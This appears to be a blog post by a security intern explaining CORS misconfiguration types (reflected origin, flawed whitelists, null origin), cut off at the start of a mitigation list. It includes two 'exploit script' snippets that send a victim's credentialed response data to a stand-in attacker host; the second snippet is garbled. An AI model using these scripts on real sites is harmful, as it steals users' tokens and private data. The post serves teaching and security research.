Research on CORS Misconfiguration

5 min readJan 20, 2022

Hello guys👋👋 ,Prajit here from the BUG XS Team and Cyber Sapiens United LLP Cybersecurity and Red Team Intern, in this I am regularly given some interesting tasks, In my twelfth task I was given to research about CORS Misconfiguration Vulnerability.

What is CORS?

A request for a resource (like an image or a font, etc ) outside of the origin is known as a cross origin request.

Cross Origin Resource Sharing (CORS) is a mechanism that enables web browsers or other web clients to make a cross origin request.

Steps of this functionality:

User loads the page from “x.com”
While loading the initial page from “x.com” a request is made to “y.com”. This request is known as cross origin request. Hence browser will first perform pre-flight request.
If the pre-flight request is successful “y.com” sends the:

Access-Control-Allow-Origin: https://x.com header, then the request will proceed.

4. If the pre-flight request is unsuccessful “y.com” sends the:

Access-Control-Allow-Origin: NO header, then it will give an error.

What is the CORS Misconfiguration?

An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.

If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users’ browsers.

Types of CORS Attacks

1. Server-generated ACAO header from client-specified Origin header

This is one of the most basic scenario of CORS Misconfiguration attack.

Origin header is read from requests and includes a response header stating that the requesting origin is allowed. For example, consider an application that receives the following request:

GET /sensitive-victim-data HTTP/1.1

Host: vulnerable-website.com

Origin: https://malicious-website.com

Cookie: sessionid=…

It then responds with:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://malicious-website.com

Access-Control-Allow-Credentials: true

…

These headers state that access is allowed from the requesting domain (malicious-website.com) and that the cross-origin requests can include cookies (Access-Control-Allow-Credentials: true) and so will be processed in-session.

Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that absolutely any domain can access resources from the vulnerable domain.

Exploit Script:

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open(‘get’,’https://vulnerable-website.com/sensitive-victim-data',true);

req.withCredentials = true;

req.send();

function reqListener() {

location=’//malicious-website.com/log?key=’+this.responseText;

};

You can use the above script to get sensitive information like API key or CSRF token if the response contains them.

2. Errors parsing Origin headers

Some applications that support access from multiple origins do so by using a whitelist of allowed origins. When a CORS request is received, the supplied origin is compared to the whitelist. If the origin appears on the whitelist then it is reflected in the Access-Control-Allow-Origin header so that access is granted. For example, the application receives a normal request like:

GET /data HTTP/1.1

Host: normal-website.com

…

Origin: https://innocent-website.com

The application checks the supplied origin against its list of allowed origins and, if it is on the list, reflects the origin as follows:

HTTP/1.1 200 OK

…

Access-Control-Allow-Origin: https://innocent-website.com

Mistakes often arise when implementing CORS origin whitelists. Some organizations decide to allow access from all their subdomains (including future subdomains not yet in existence). And some applications allow access from various other organizations’ domains including their subdomains. These rules are often implemented by matching URL prefixes or suffixes, or using regular expressions. Any mistakes in the implementation can lead to access being granted to unintended external domains.

For example, suppose an application grants access to all domains ending in:

normal-website.com

An attacker might be able to gain access by registering the domain:

hackersnormal-website.com

Alternatively, suppose an application grants access to all domains beginning with

normal-website.com

An attacker might be able to gain access using the domain:

normal-website.com.evil-user.net

3. Whitelisted null origin value

The specification for the Origin header supports the value null. Browsers might send the value null in the Origin header in various unusual situations:

Cross-origin redirects.
Requests from serialized data.
Request using the file: protocol.
Sandboxed cross-origin requests.

Some applications might whitelist the null origin to support local development of the application. For example, suppose an application receives the following cross-origin request:

GET /sensitive-victim-data

Host: vulnerable-website.com

Origin: null

And the server responds with:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

In this situation, an attacker can use various tricks to generate a cross-origin request containing the value null in the Origin header. This will satisfy the whitelist, leading to cross-domain access.

Exploit Script:

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open(‘get’,’vulnerable-website.com/sensitive-victim-data’,true);

req.withCredentials = true;

req.send();

function reqListener() {

location=’malicious-website.com/log?key=’+this.responseText;

};

</script>”></iframe>

How to Implement a Secure Same Origin Policy?

The same-origin policy generally controls the access that JavaScript code has to content that is loaded cross-domain. Cross-origin loading of page resources is generally permitted. For example, the SOP allows embedding of images via the <img> tag, media via the <video> tag and JavaScript includes with the <script> tag. However, while these external resources can be loaded by the page, any JavaScript on the page won’t be able to read the contents of these resources.

Some of the points to be kept in mind are: